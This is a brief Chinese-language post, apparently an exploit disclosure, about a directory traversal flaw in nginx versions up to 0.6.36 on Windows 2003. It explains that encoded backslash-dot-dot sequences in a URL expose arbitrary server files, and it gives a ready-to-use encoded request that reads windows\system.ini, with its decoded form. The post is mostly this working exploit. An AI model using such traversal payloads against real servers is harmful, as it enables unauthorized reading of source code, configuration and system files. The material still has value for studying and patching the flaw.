【漏洞】nginx遍历目录0day

针对版本：<= 0.6.36

测试系统：windows2003服务器


通过“../”来操控URL，不仅能遍历web的目录，还能遍历web服务器上的任意目录（包括系统目录)，甚至程序文件的源代码，配置文件，和关键的系统文件。

例子：

http://localhost/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem.ini

URL解密：

http://localhost/\..\..\..\..\..\..\..\windows\system.ini